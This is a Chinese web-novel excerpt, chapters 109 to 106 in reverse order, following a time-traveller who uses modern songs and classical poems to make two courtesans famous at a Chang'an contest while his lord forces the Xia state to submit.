另外,文训对军队进行了改革,将开封府周围的中央禁军和负责汴京守卫的卫戍军,以及皇城中的御林军,全部都划归到一个全新的部门统一指挥。 这个部门,叫做殿前司。 江淮军高级将领薛定,统一指挥所有骑兵,领马军都指挥使。 京城卫戍军统军刘青山,统一指挥所有步卒,领步军都指挥使。 御林军统领何关,统一指挥全部御林军,领殿前都指挥使。 他们三个,全部都要听命于殿前司的行政长官——殿前都点检的命令。 殿前都点检是大郑帝国京畿地区武装力量的最高指挥官,只向皇帝一人负责。信任之深、权柄之重、地位之高、完全不输于吏部天官。 甚至在某些特殊时期,吏部尚书的全家老小、京城官民的性命安危、皇家宗室的生死荣辱,全部都掌握在殿前都点检的手中。 由于殿前都点检喊起来有些拗口,所以它还有个别称,叫做殿帅。 殿帅——凌晨。 第109章 逼降 天下为棋局,世人为棋子。 费劲巴拉的包装孵化祁梅儿和段音,为的就是借助她们的名人效应,引领新的时尚风潮。从她们的穿衣打扮、出行车驾、吃喝玩乐中影响大众的喜好。 最终的目的,是带动整个开封府的经济活力。说人话就是把家乡父老在家里、作坊里生产出来的东西推销出去。 这还只是初级阶段,随着青柠纺织机的大规模运用,生产力提上来后,还要将产品倾销到唐国、蜀国、草原。等到日后,还要打通河西四郡,沿着丝绸之路穿过西域,与国际接轨。 这也是凌晨还留在长安的原因。 天下熙攘,皆为利来,皆为利往。对夏战争的经济意义和实际需求,要远超之前的统一北方战争。 就在凌晨忙着争夺花魁的这段时间,文若和韩登对李遗景进行了多次素质教育。 文若率兵在陇右和夏国接连展开激战,攻占了安定、陇西、金城、西平等军事重镇,将夏国在陇右的势力连根拔起!中原王朝在经历了百年战乱之后,重新收复了这些汉唐故土。 和文若的攻城掠地不同,韩登北上的战略目的是消灭夏国政权的统治基础,李氏夏国真正的核心地区就是银、灵二州。 灵州远在贺兰山下的河套平原,那里也是夏国首都兴庆的所在地,途中山高林深,关隘险峻。再加上夏国四代君王经营,人心归附,短时间内很难拿下。 但银州就不同了,距离关中控制的延州不远,还处在申屠明光、孙芝和韩登的三面包围中,属于孤悬在外的突出部。 如今李遗景在渭州被牵制,进退维谷,陇右又有文若,随时可能进攻兴庆,夏国很难抽出兵力来支援这里。 天予不取,反为其害。 虽然韩登打仗不行,可他手底下的那帮关中猛将,却是常年跟着韩珏和夏国对掏的老员工。他们对夏国军队的作战方式比对自家老婆床上的花样还熟悉。 这个不是夸张,因为他们和党项人相处的时间,真的比跟自己老婆相处的时间还长。 而且,政治联姻的好处也在这个时候体现了出来。由于韩登娶了申屠忘忧为王妃,云中节度使很乐意帮女婿收拾李遗景。 正所谓打仗亲兄弟,上阵父子兵嘛!岳父也算爹,女婿半个儿,干他就完了! (难道不是为了东套平原…)不听不听,王八念经! 五千云中骑兵从九原府南下,配合韩登的东路大军夹击银州,令党项骑兵苦不堪言。阵地战打不过韩登,野战又打不过云中军。 那些云中骑兵又高又壮,力大无穷不说,箭术还一等一的高超。人骑在马背上,无论怎么颠簸,手中的箭枝始终稳在一条线上。 而且他们胯下的马匹也要比党项战马更有耐力,许多时候,党项骑兵已经跑不动了,他们还能跑出一两百米。 但最重要的差距,还是军心。 客观的讲,党项人的军事素质不比云中骑兵差多少,而且他们更敢拼命。这种悍勇弥补了装备上的差距,正面交战,双方基本是五五开。 但现在的局势是三路攻夏,超过十万人的大军在围猎夏国,作为夏国人,内心是很焦虑的。 心理状态,是一项很重要的指标。 跟一群同班男生围殴两个欺负女同学的社会小混混,和因为嘴臭被十几个黄毛拉进学校门口的小巷子,感觉是不一样的。 再猛的人,心里也得发虚。 九月底,绥州被韩登攻破;十月初,夏州被韩登攻破。 这则消息更是雪上加霜,严重打击了夏国官员、百姓和军队的对抗意志。因为夏州是李氏的龙兴之地,李遗景的祖坟都落入了韩登手中,没有比这更让人崩溃的了。 好在韩登还讲点武德,没有把夏皇的先人们挖出来放到太阳底下给他们补补钙,也没有撬开棺材帮忙检查是不是竖着葬的。 云中军统军高朋率领部曲,在阴山下的河套沙漠中,和夏国部署在东部战场的精锐——定难军正面遭遇。 大家都是骑马射箭的,就不搞什么游射消耗的前戏了,意义不大。双方直接进入正题,骑兵对冲! 西北狼与草原狼,在荒无人烟的大漠戈壁中,展开了一场极为惨烈的厮杀。 马匹的嘶鸣、刀刃的碰撞、士兵的怒吼此起彼伏。飘扬的旗帜被砍倒在地,接连不断有人落下马来,铁锤挥舞带来的破风声、刀剑入肉引起的惨叫声、武器碰撞发出的铮鸣声交相辉映,演奏出一首悲壮的交响乐。 马蹄踩踏着地上一动不动的尸体,打到最后,双方都已经失去了思考,大家心里都清楚,只有活着的人才能离开这里。 从中午搏杀到黄昏,四千多名定难军全军覆没。而云中军也付出了毁灭性的代价,统军高朋战死,只剩下三十二骑还立在战场上。 全程没有人逃跑,真正战至最后一人。 因为对方也是骑马的,你敢调转马头,用你的后背去测试对方的骑射,等待你的只有死亡。活下来的唯一办法,就是向前冲,直到前方再无一人。 贪生之念则必死,抱死之念尚能生。 傍晚的劲风卷起黄沙,吹的睁不开眼睛。在这片无人知晓的大漠深处,遍地尸骸。鲜红色的黏稠血水缓缓流动,逐渐凝固干涸,变成了红黑色。 人和马的尸体堆叠在一起,残破的旗帜覆盖在沙石上,各式兵器沾染着血迹,随意的丢弃在地面。空气中弥漫着一股腥气和土味,场面惨不忍睹。 漫天晚霞下,尘土在沙丘表面移动,让风也有了形状。三十二名云中骑兵骑在马背上,低垂着脑袋,歪歪斜斜的扛着残破的军旗,身影落寞的行走在沙脊上。 没有胜利的喜悦,只有无尽的疲惫。 夏国银州守将拼死抵抗,拒不投降。韩登指挥着关中军日夜轮换猛攻城关,巨大的投石车丢出冒着滚滚黑烟的火球,如同流星一般飞进城内;在靠近城墙的地方,双方的箭矢密集如雨,同样是尸横遍野。 经过了半个多月的围困后,城中粮食短缺,水源又被切断,外面还没援兵,再坚守下去,已经没有意义了。 夏国银州太守、宗室将领李文亮自刎于城楼之上。部将遵从他的遗命,打开城门,率众向韩登投降。 至此,夏国有将近三分之一的国土落入了文训手中,并且失去了银州重镇、损失了半数定难军。在军事、经济、政治多方面遭遇沉重打击,已经失去了再次挑战中原的可能。 被逼无奈之下,李遗景派出使者向文训上表请罪,声称愿意效仿孙芝,去掉国号,改兴庆为灵州城,甘愿成为中原王朝的臣属。并且送来了已经册立为皇太子的长子入朝听命。还愿意每年为郑王提供一千匹战马、三千头牛羊以及各种贡物。 文训在西京长安和随行众臣商议后决定,接受李遗景的归顺。册封李遗景为朔方知府、定难军节度使、灵州太守,令他继续镇守朔方府。 吏部擢用李遗景的长子李文斌为工部员外郎,为其在汴京建造宅院居所,迁往居住。 整场对夏战争中,最心惊肉跳的就是孙芝了,他在晋阳城里夜不能寐,食不知味。生怕文训一时兴起,派人来找他叙旧。 最悲壮决然的当然是李遗景派到长安请降的使者,在离开灵州前,他已经将遗产分配完毕,后事安排妥当,准备好一去不返了。 先前李遗景煮了文训的使者,这次他去长安,不知道还是不是同样的烹饪方式,别再整出些油煎或者风干之类的新花样。 好在文训力排众议,没有将他丢进锅里熬汤,反而是好吃好喝的招待了他,礼遇有加,还派禁军全程保护他的人身安全。 两相对比,高下立判。夏国百姓也是有眼睛的,看得出来谁好相处,谁像个变态神经病。 在不到一年的时间里,文训收复了关中,又在名义上逼降了夏国,威震天下!他做到了大周历代帝王都没有办成的开疆拓土,西北从此再无大战。 民间、士林、朝堂呼声高涨,称帝的条件已经完全成熟。十一月初,吏部尚书杜宣代百官上万言书,恭请郑王还京,登基称帝,以应万民所求,安定天下人心。 迫于无奈,蜀主孟玄和唐皇李雄也派遣宗室重臣前往汴京,“规劝”郑王登基。 他们打心眼里不希望文训登基,成为名正言顺的中原皇帝,整合统御一切。他们只希望越乱越好,这样才能火中取栗,浑水摸鱼。 可是没办法,眼下这件事已经是既定事实,如果不派人来做做样子,给文训锦上添花。等到对方登基之后,会不会用“轻慢”这个理由拿他们开刀,先拿谁开刀,都是未知数。 所以,尽管恶心的要死,但他们还是不得不来“恭贺”、“规劝”一下。我们大家都觉得你行,你就干吧,你来当皇帝我们放心。 这样一来,只要蜀、唐不主动发起攻击或者挑衅,文训便没有了南征的正当理由。 你创业时我还帮了忙、随了份子呢,总不能转过头就来打我吧? 那让天下人怎么看?好意思吗你~ 第108章 好 浮世喧嚣,吹散明镜尘埃,再回首,来路潇潇而烈烈。 《临安记忆》和《烟花易冷》,引起了无数文人士子的遐想和神往,潇潇微雨的洛阳,和水光潋滟的临安,多么美好的梦境胜景啊~ 凌晨想隔空喊话贾建,还有唐国的临安府尹。 打钱! 《真英雄》让彩楼里的武官军将们眼眶通红,征战一生、血染沙场,从青丝到白发,是多少武人的贴切写照啊!尤其是那一句“赢尽了天下,输了她”,让多少人想起了心中的意难平。 错过的不是她,而是人生的另一种可能。 《不谓侠》更是激起了无数男人心中的仗剑天涯。说两个旧事抵酒价,江南折花、江北饮马,这首曲子里蕴藏的豪气,丝毫不比《真英雄》差,还多出一份潇洒的侠气,酣畅淋漓! 相比之下,被凌晨魔改为《剑心》的《在下,沈剑心》反而反响平平。看客们对戏腔不是很感兴趣,歌词更是有些莫名其妙,除了旋律还算好听、最后一句有些小小的震撼之外,其他就没什么了。 这就是时代的局限性,没办法。 可即便如此,祁梅儿深情忘我的清唱和段音艳惊四座的器乐还是俘获了一大批支持者。墨石不要命的往记录处砸,排名火箭般的噌噌往上涨,直到涨至第十名才停缓下来。 其他人都是独自登台,这种双人组合非常罕见。在好奇心的驱使下,人们纷纷打听这俩汴京双子星的根底。不知不觉中,也带来了广泛的知名度和宣传影响。 表演结束后,她们两个共获得了两百多块墨石,这已经是一匹脱缰的黑马了!但在凌晨眼里,还远远不够。 他要的,是第一。 于是,他让婢女拿来纸砚,饱蘸浓墨,落笔挥毫。 “驿外断桥边,寂寞开无主。已是黄昏独自愁,更著风和雨。 无意苦争春,一任群芳妒。零落成泥碾作尘,只有香如故。” “临颍侯为祁梅儿姑娘赠上一首《卜算子·咏梅》!!” 词纸送到楼下,贴在花墙,引得人群骚动,争相观看和品读。 咏梅,既是梅花,又是梅儿姑娘。这首词用梅花比喻梅儿姑娘,赞扬了它( 她)高尚、纯洁、孤傲的品质,本身就是一篇十分应景和符合人设的文章。 更重要的是,它出自一向低调的临颍侯凌晨之手。 多少达官显贵欲求一见,都碰壁而归。这位梅儿姑娘却能让他主动写词相赠,还极尽溢美赞扬之词,可见她的吸引力! “临颍侯为祁梅儿姑娘再赠一首《临江仙》!!” 什么?? 还赠?! “梦后楼台高锁,酒醒帘幕低垂。去年春恨却来时,落花人独立,微雨燕双飞。 记得梅儿初见,两重心字罗衣,琵琶弦上说相思。当时明月在,曾照彩云归。” …… 落花人独立,微雨燕双飞?? 当时明月在,曾照彩云归!! 彩楼里满是交头接耳的窃窃私语,这是临颍侯写出来的?这……他这么有才情的吗?为何之前从未有过传闻?? 比起这些寻常宾客的惊讶和赞叹,牵头举办这次枫林会的汴京权贵们,才是真的懵了。 他们大部分人都听说过,凌晨受到郑王青睐,完全是因为他的武艺和军功。 没听说过他文武双绝啊!这两首词的品质和境界,已经远远超出了先前贴在花榜上的那些诗词,真可谓是抛砖引玉,后来居上! 凌晨将全场宾客的表情和举动都看在眼里,冷冷一笑。 要么不做,要么就做绝!花魁,我势在必得,通通都给老子吃尾气去吧! “临颍侯为段音姑娘赠上一首《点绛唇》~” “蹴罢秋千,起来慵整纤纤手。露浓花瘦,薄汗轻衣透。 见有人来,袜刬金钗溜。和羞走。倚门回首,却把青梅嗅。” 一位与梅儿姑娘风格截然不同的邻家女伴跃然纸上,少女含羞,活泼灵动却又怯怕生人的模样,与方才台上的段音十分契合,简直就是为她量身打造的一般,非常准确的描述出了她的举动和神态。 彩楼里已经彻底安静了下来,所有人都在忙着传抄和观看花榜,宾客们互相推搡挤攘,秩序一度十分混乱,连下一位将要登台的姑娘也被告知暂缓一下。 “临…临颍侯为段音姑娘再…再赠一首《蝶恋花》~” “花褪残红青杏小。燕子飞时,绿水人家绕。枝上柳绵吹又少。天涯何处无芳草! 墙里秋千墙外道。墙外行人,墙里佳人笑。笑渐不闻声渐悄。多情却被无情恼。” 好了,这两首词一出,估计全天下的人都要知道段音姑娘爱荡秋千了。 先前从未听说过的两位汴京姑娘,一日之间,轰动长安! 整个长安城中都流传着两位姑娘今天的优异表现,她们的曲子也被旁人抄录了去,四散传播吟唱。 而临颍侯凌晨为两位姑娘写的词,也被文人雅士争谈讨论。酒肆、茶馆、青楼、民居、街头巷尾,只要是个识字的,都被亲朋好友安利到了。 每一首,都在写那两位姑娘。 但又不全是姑娘。 轰动一时是好的,这样的宣传效果让更多人对祁梅儿和段音产生了浓浓的好奇:究竟是什么样的可人儿,才能得到临颍侯的狂热追捧和不吝赞扬,以至于一改往日的低调,为她们写下这样惊艳世人的诗词? 很多原本对枫林会不感兴趣的人,都决定明天去彩楼里看看,究竟是怎么个事儿。 但凡事都有两面性,副作用也是很明显的。 首先,凌晨得想想回家后怎么跟青柠解释。他为两个清倌人作的诗词名动长安,而且依照目前的传播速度,很可能还会名动天下。 娘子要是不吃醋,那就见鬼了! 其次,他动了别人的蛋糕。 沈棠、赵霁和阿依姑娘的背后,都有着雄厚的财力支持,以及一大批狂热的粉丝。明明经过多日努力,干到了最后两天,眼瞅着就要决出胜负了。你突然杀出来,势头还这么猛,严重威胁到她们的名利。 这能行? 尤其是,祁梅儿和段音的容貌、气质确实比那三位要逊色一些。差距是存在的,这点不可否认。 于是,她们的追求者、拥护者们就有些忿忿不平,开始使坏了。 没文化的就造黄谣,说祁梅儿早已不是清倌人了,在汴京时就人尽可夫。她的嗓音明明是清脆的,为何带着点沙哑?那肯定是吞了不该吞的东西呀!你品,你细品。 段音外表清纯甜美,实则内里淫荡放浪,曾经醉酒之下拉着青楼里的三个龟公在她的淫窝里颠鸾倒凤,还有人撞见了呢!那双弹琴吹箫的手,不知道握过什么东西哦! 人性的丑恶,展现的淋漓尽致。 他们用最恶毒的话语和词汇,无中生有,抹黑造谣。妄图三人成虎,让祁梅儿和段音的形象在人们心目中崩塌。 而比这更厉害的,是那些有文化的粉丝。 祁梅儿和段音表演的这些曲目里,多次提及江南,这是什么意思? 江南是唐国领土,你在我们的地盘这么卖力的夸赞和传唱江南,是出于什么目的? 是你觉得江南比江北的风景好呢?还是你觉得江南比江北的官府好? 还有,那首《真英雄》里,“颠覆了天下”这一句,是什么意思? 哪个天下被颠覆了?谁颠覆了天下?你在影射谁? 其他的几个污蔑和造谣倒无所谓,自然有粉丝去和他们争辩、对骂,甚至是用拳头去说服对方认同自己的观点。 但最后一个,有点严重。 黄昏时分,长安行营来人,叫凌晨去大明宫旁苑。 郑王有请。 文训最近很忙,对夏战争是一场政治意义大于军事意义的行动。此战若胜,就表明他能跟韩珏一样,保护关中百姓的生命财产安全。也可携大胜之威,顺理成章的登临帝位,创立万世基业! 可要是败了,虽说不至于引起动荡,但到底会留下不好的影响,对他的政治地位和个人形象会造成打击,总归是不美的。 因此他没空去理会鸡毛蒜皮的小事,也没时间管凌晨,他如果有事,会主动来找自己的。 但当长安城中开始流传“颠覆了天下”的歧义解释后,他还是决定喊凌晨来谈一谈。 殿内烛火通明,文训面前垒着如山般的纸张卷折,整个人都快要被纸山给淹没了。 坐在他下面的凌晨看的内心摇头,感慨万千,古人说“案牍劳形”,诚不欺我。哪怕是高考,也没见有这么高的纸山。 更何况,学生可以偷懒,无非就是以后偶尔深夜emo的时候,后悔自己当初怎么没有好好读书。 但老文不能偷懒,他可没有后悔的余地。 老文的声音听起来有些疲惫:“坊间的那些传言你都听说了吧?” “嗯,都知道。” “其他的倒没什么,只是那句‘颠覆了天下’,或可更改一下?” 凌晨看着老文问道:“主公是担心影响不好?” “当然,难道老夫会疑心你有其他不成?” 文训只用一句话,就将性质定了下来。这是他对凌晨的建议,不是郑王对临颍侯的介怀。 “不改。” 嗯? 飘了? 不像他平时的作风啊? “一字不改?” “一字不改。” 文训停下手中的笔,将它搁在笔山上,等待着纸上的墨迹风干。趁着这个机会,他揉了揉有些发酸的手腕,拿起旁边的茶杯,抿上一口润了润喉。 “说说看。” 凌晨站起身来,对立在殿内的众多侍女说道:“你们先下去吧。” 侍女们听到后,齐齐行礼,缓缓退了出去,整个过程十分自然。 只有文训的贴身心腹,才知道凌晨是什么人。 哪怕临颍侯举起刀劈向郑王,郑王也只会觉得是自己身后有人。 “这句颠覆了天下,本身就是对武将作战的笼统描述,是一句堆砌的辞藻,并没有具体的含义。如果这个也能拿来解读,污蔑暗含影射。那这首曲词也可尽归拢到同一人。” 凌晨伸手将文训桌案上的纸张拿起来垒在已经处理好的那堆里,又翻开下一本铺在文训面前,站在他身边问道: “敢问主公,当今天下,有谁能够‘收拾旧山河’,安定庶民、再造盛世,当得上这一句‘真英雄’呢?” 文训听完笑而不语,思索了一下后,开口说道:“老夫还真不知道,你说说。” 凌晨笑着抱拳:“当然是前半生忠良,后半生帝王的人啊!” 自从汝南献图后,文训和凌晨就已经是事实上的君臣了,他是第一个拿文训当天下共主的臣子。而后夜密定策,逐鹿中原,直至今日。 生死之交,心腹肱骨,无有不言。 文训摇着头靠在椅背上,笑骂道:“臭小子,现在越来越像一个谄臣了,油嘴滑舌。” 凌晨立在一旁嘿嘿傻笑,并不接话。 文训骂完后,思索着说道:“赤血染黄沙,青春成白发。快刀斩乱麻,金戈伴铁马……你这曲子,老夫听伶人学唱了,亦是有些感触。” 用有些褶皱的手指在檀木扶手上敲了敲后,文训看着凌晨说道:“此次关中易帜,你居功至伟。老夫打算回到汴京后,好好封赏你。既然你喜欢折腾这些,老夫就跟着你胡闹一把,给你撑撑腰。” 凌晨连忙笑嘻嘻的躬身拜道:“那微臣就谢谢主公啦~” 文训闻言愣了一下,随即又笑了。 第二天一大早,坊间突然流传出一条传闻:郑王也听了《真英雄》这首曲子,并且说了个“好”字。 这则消息突然出现、真假难辨,更奇怪的是,官府并没有出来辟谣,也没有抓人。 那就是说,可能真有此事…… 但这也只是揣测,真真假假,大家也无从知晓。总不能真的跑去行营里问郑王吧?那可真是孝出强大,九族直夸。 最头疼的就是枫林会的举办方们,他们也没有想到事情会发展到这一步。十几个老头大叔聚在一块,揣测了一上午,最终一致认为:既然没有说是假的,那就是真的。 郑王都说好,你自己掂量。 其实以祁梅儿和段音的表现,再加上凌晨的诗词,也只是具备了很强的竞争力,能不能拿到魁首,还不好说。 但坏人绞尽脑汁,不如蠢人灵机一动。闹来闹去,闹成这个结果,是包括凌晨在内的所有人都没有想到的。 他从来都没有想过拿这种破事去烦劳文训,贵人不可贱用。 但架不住同行热心啊! 不对,也不能说是他们蠢。因为他们提出这种“影射郑王”的污蔑,换谁来了都是死局。就算不死,那也得扒层皮。 可是,作词的是凌晨啊~ 第107章 登台 “舞凤飞凰~剑影玄霜~山河点青苍~” 在韩登给凌晨安排的免费别院中,阳光照射着大地,八水绕长安带来了湿润的空气,晚秋霜叶红,树荫绿情浓。 被参天古木和繁茂枝叶遮挡的花园里,凉亭中的祁梅儿正在清脆响唱。段音抱着琵琶,柔指轻拨弦线。 一曲唱罢,凌晨端起杯子灌了一大口掺杂了蜂蜜的凉水后,走到祁梅儿身边对她说道: “非常好,这一遍已经基本都对了,只有一个小问题,就是在最后‘山河点青~苍’,唱到青这里要停顿一下,苍字要稍微破点音,这样才有感觉~” 祁梅儿盯着凌晨的眼睛,认真的听他说完后,微微点头:“好,我知道了,我在试一下。” 看到她们这么敬业和上进,凌晨十分欣慰,不过还是摇着头说道:“先休息一下吧,喝点水润润嗓,段姑娘也歇歇,弹了这么久应该也累了。” 祁梅儿见凌晨如此体贴,随即便露出了温柔的笑容,捏着裙边坐到石桌旁歇息。段音也放下了琵琶,但却重新拿起了笛子,纤纤玉指在玉笛音孔的部位来回翘起又堵下,还在勤勤恳恳的练习。 凌晨无奈一笑,走到她身边将笛子一把夺了过去。 “饭要一口一口的吃,哪里有一蹴而就的道理?姑娘的认真勤奋确实令人钦佩,但也要注意劳逸结合才是。” 半天的相处下来,段音已经不那么怕凌晨了,她发现这个人的眼中没有一丝淫邪,只有一股单纯的欲望,那是对夺取花魁的执着和狂热。 于是,她也甜甜的笑了一下,不再急于求成了。 三人一起落座后,两女齐齐饮水解渴,而后又提起半透明的轻罗小扇,缓缓扇风挥去余热。祁梅儿还不知道从哪里变出了一块手绢,在自己鬓边轻轻贴去细汗。 闲暇下来,段音便好奇的问道:“奴先前在陇原记听那人喊公子‘侯爷’,公子……是官身吗?” 凌晨拿着自己的草蒲扇快速扇风,坐姿随意,毫无贵公子该有的文雅。 “是,我以前在军中待过一段时间,侥幸得了点军功,所以获封侯爵。那都是虚的,不值一提。” 祁梅儿和段音到底还是见识浅了,她们的眼界被匡束在青楼楚馆,对天下大事或许有一知半解,但了解的并不全面,再加上凌晨平时一直低调,所以对他知之甚少。 但她们还是知道侯爵有多高的。 祁梅儿望着这座清静古朴的别院,虽然不清楚这里是哪里,但光从坊内干净的街道、门口持刀守卫的士兵和院中低头垂首、一言不发的下人就可以感受到此处的不同寻常。 “侯爷,奴斗胆烦问,这座院子是您买下的吗?” “不是,朋友送的。” “侯爷的那位朋友真是大方,将这么好的院子送给侯爷居住,想必也是身份不俗之人,是城里的大人吗?” “算……是吧。反正在长安城,找他还挺好使,改天有机会介绍你们认识。” 听到凌晨这么说,祁梅儿连忙摇了摇头,她就是闲聊时随口一问,可不敢有高攀之心。 能在长安城说上话的,必定是朝廷命官,品阶也不会低。这样的人,家里的主母能是好相与的?若是让人家误会了,指不定哪天夜里睡着就再也醒不来了! 三个人聊着聊着,又提及枫林会的参赛资格问题,祁、段二人忧心忡忡,担心凌晨能不能说服举办的东家中途插人进去。 凌晨安慰她们不必担心,只管好好练习。 要不是为了得到大众的认可,凌晨完全有能力让祁梅儿直接成为今年的花魁。有关系不用,说好听叫傲气,说不好听叫傻逼。 但他们终究是社会动物,带资进组就行了,真要夺魁还得凭本事,这样才能让人心服口服,也有利于后面的产品代言和售卖。 不然空得一个没有含金量的名头有什么用? 接下来的几天里,三人除了吃饭睡觉上厕所之外,一直待在一起争分夺秒的练习,刻苦认真,精益求精。他们每天至少要练习六七个时辰,很是辛苦,像是准备校考的音乐生一样。 枫林会还有三天的时候,凌晨觉得差不多了,让她们两个彻彻底底的休息一天,把这些日子缺的觉补回来,消散疲惫,养足精神。 他自己则是去找这次枫林会的主办方商谈走后门,给祁梅儿和段音弄参赛资格,也直接跳过那个类似复活赛的繁琐流程。 什么?对其他姑娘不公平? 抱歉,这个世界从来就不是公平的。 想当年,凌晨刚从大学出来,初入发电厂,兢兢业业勤勤恳恳,以为只要努力就可以获得回报,只要把种子栽进地里就能丰收。 他见过被蒸汽烫出脓黄大泡的腿,见过被五百斤的雾化器砸碎的脚,也曾顶着红色的火灰、手握钢筋捅堵塞区,也曾在室外温度40℃、内部三台炉的密闭空间待到头晕眼花,呼吸困难。 一台炉大概六十米高,上面布满了楼梯供人穿行作业。相当于一栋内部正在燃烧的八层居民楼。注意,与传统煤炭发电的露天环境不同,这里的外壳是全封闭的。 几年下来,包括他在内的那些为公司辛苦付出、流血流汗的员工,只有极少数又跑又送的晋升到了管理层。大多数只跑不送的都是带着病历单和后遗症黯然退场。 而同样是年轻人,同样的学历,也有人一进来就可以坐在办公室吹空调,干净、体面。有些甚至从来没有实际操作过,就拿着课本上的理论跟你掰扯,要求你做到同样的数据。 你了解实际情况,明白各种影响因素和客观事实的存在,但那有什么用?人家是上司,完不成标准,只能是你的能力问题,你所说的原因都是借口。 他们没有错,凌晨也没有错。 因为这个世界就是这样子的,如果你不在餐桌上,那一定在菜单里。 但也不是一无所获,毕竟干了活还是有工资的。 不要墨守成规、困于一隅,勇敢的去经历和体验各种不同和未知,去没有去过的地方、吃没有吃过的东西,去看没有看过的风景、见没有见过的人。 这些花不了多少钱,时间也总能匀出来,麦子熟了,就往南走。 阅历会提升你的能力和见识,锤炼你的心性和胆略,能让你在这个弱肉强食的星球上更具竞争力,更有能力去应对生活的风暴。 —— 枫林会的十几家举办方中,地位最高的老头在凌晨面前也是个弟弟,因为他只是个伯爵。 所以对于凌晨要在最后两天安插两名女子登台表演的事,他满口答应。能用这么小的代价,搭上临颍侯的门路,何乐而不为呢? 枫林会倒数第二天,彩楼里人满为患,座无虚席。 对于花魁的激烈争夺已经进入了白热化状态,前面的三名女子,都是才艺双馨、容貌倾城的人间绝色。 凌晨趴在雅间的栏杆上朝着下面的看台张望,内心也有点忐忑。 目前排在第一的,是一位来自广陵的姑娘,温婉恬静,落落大方。吴侬软语的轻柔小调抚慰着男人们燥热的热血,江南水乡养育出来的高洁淑雅,沁人心脾,让人很难生出亵玩之意。 这位沈棠姑娘,声线、舞姿、容貌、人设都是顶级的,甚至不输真正的官家女子。 排在第二的是来自琅琊蓬莱郡的赵霁姑娘,一手筝弦撩拨心绪,清瘦纯欲的面容惹人怜爱,是前三名里颜值最高的。 她虽然在气质上略逊沈棠一筹,但架不住吸金啊!来自全国各地的老色批们为之疯狂,争先恐后的打赏墨石,目前已经破千。有一个年轻公子甚至变卖了家产为她助力,以至于妻子找上门来,闹将了好一阵。 最后还是主办方担心把事情闹大、影响盛会的正常举办,把他们轰了出去,将银子退还才平息这场风波。 但是这件事倒是给了凌晨一点启发,能不能叫沟泉村的小朋友来城里,他再去借一大笔银子,让小朋友们替自己打赏祁梅儿和段音。等到枫林会结束后,向举办方申请未成年退款呢? 噜噜噜! 算了算了,做人还是不能太阴间。 排在第三的女子,是一位容貌与中原人略有不同的西域姑娘,原名很长,人们都叫她阿依。 阿依姑娘的胡舞大胆、热情、奔放,纤细的腰肢与修长的脖颈柔若无骨。光着玉足踩在地毯上,脚腕上璎珞如翡翠,一种别样的异域风情和张扬的生命力,令看客们为之沉醉。 这是唯一一位让凌晨都有些恍惚的姑娘。在她身上,凌晨仿佛看到盛唐时代的飞天神女,从敦煌壁画里走了出来。 祁梅儿和段音的压力很大啊…… 不过不要紧,虽然她们三位确实很强,但她们支持者,有一样东西绝对比不上凌晨。 诗词。 “诸位~下面将要登台的,是一对星月双明,来自汴京的祁梅儿姑娘和段音姑娘~请诸位保持安静,接下来,她们将为大家献上几首别具一格的颍川腔调,第一首,《临安记忆》,献给各位看官~” 全场安静了下来,人们纷纷翘首踮脚,看向台上。 下一刻,一曲宛转悠扬的笛音,缓缓响起,渐渐飘升至顶上黄粱,萦绕不散。 “落日桥头~几分暮色被渲染~” 第106章 别埋怨她 祁梅儿心里七上八下的。 因为这位凌公子没有车驾,也没有随从护卫。纯靠走路领着她和音儿来到距离举办枫林会彩楼两条街的陇原记,寻了间临街雅间。 三人落座后,他还贼兮兮探出头看了看外面,又双手合上了房门。这让段音一阵紧张,伸出手抓住祁梅儿的衣袖。 不会是遇到变态了吧? 坐回座位上后,凌晨也不跟她俩废话,开门见山的说道: “祁姑娘,我听你的嗓音清脆之中带点轻微沙哑,我这里有几支曲子,词、调我都有基础,我想这两天拉着你练习一下,然后在花魁大赛中试试,我再给你写两首宣传的词,助你独占鳌头如何?” “……” 这人……没事吧? 花魁?唱几支曲子,写两首词,就能在群芳毕集的枫林会中脱颖而出,拔得头筹?? 见她俩的脸上露出浓浓的质疑,凌晨深知多说无益,于是从一旁拿来笔墨纸砚,将酒杯推到一旁,在纸上奋笔疾书起来,写完之一张就递给她们,继续写下一张。 祁梅儿和段音从他手中接过纸张,两双美目疑惑的看向上面的文字—— “醉卧于沙场,听呐喊的沙哑, 笑看人世间,火树银花, 数风云叱咤,不过道道伤疤, 成王败寇,一念之差。” 一股磅礴汹涌的气势扑面而来,沙场纵横,豪迈尽显,读之荡气回肠…… 二人对视一眼,还未从震惊中反应过来,又是一张纸递了过来—— “雨纷纷,旧故里草木深, 我听闻,你仍守着孤城, 城郊牧笛声,落在那座野村, 缘分落地生根,是我们。” 一股令人黯然神伤的宿命感萦绕在二人心头,似有男女情爱,却又没有那种世俗的粗浅,反而隐隐带着一种轮回的沧桑…… “向江南折过花,对春风与红蜡, 多情总似我,风流爱天下, 人世肯相逢,知己幸有七八, 邀我拍坛去,醉眼万斗烟霞。” 祁梅儿和段音握着手中的纸张,满脸震撼,仔细品味着上面的每一个字。作为专业培养的清倌人,她们不仅识字,在文学造诣上也是有一定眼光的。 对方一口气甩出三篇文章,虽然不符合当下流行的句式,甚至有些白话,但每一篇文字传达出来的意境和画面,却是那样的鲜明强烈,迥然不同。 正在她们目瞪口呆时,又是两张纸甩了过来。 “舞一曲霓裳,金钗玉琼琳琅, 指尖星霜,江湖寒芒,一梦入千章。 敬一觞痴狂,今宵欲醉千江, 舞凤飞凰,剑影玄霜,山河点青苍。” 凌晨指着纸说道:“这首要有戏腔功底,不过我上次听你在柳南坊聊天,曾说起过幼时在梨园做过巧伶,耳濡目染,应该多少会点吧?” 祁梅儿机械般的点了点头,凌晨又指着另一张纸说道:“这首有点麻烦,得给你立个人设。你就说你母亲娘家是江南水乡的人,这样才能更契合,更吸引人。” 祁梅儿并没有回话,而是看着纸上的字一言不发。 “檐外轻风惊落一池桃花染”、“推开云烟,又见了临安”、“故事渐渐爬满青石板”、“长衫纸扇,先生说书到几段”…… 这是人能写出来的?? 祁梅儿先前还心存疑虑,但当她看到这些歌词以后,立刻转变了想法。 花魁……未必就不能争上一争。 凌晨不知道她心中的想法,还在尽可能的详细介绍和劝说:“可惜没有话筒,所以我们需要一位弹琵琶的乐师,对乐器的把控要恰到好处,要让全场的人听得清楚,还不能遮盖你的嗓音。 这最后一首的灵魂就在箫声中,因此必须要精准的吹奏和声,在唱曲的间隙中融入,还不能显得突兀,还有……” “公子,音儿的弹吹艺技也算小有名气,我们姐妹二人愿意听公子吩咐,放手一试!” 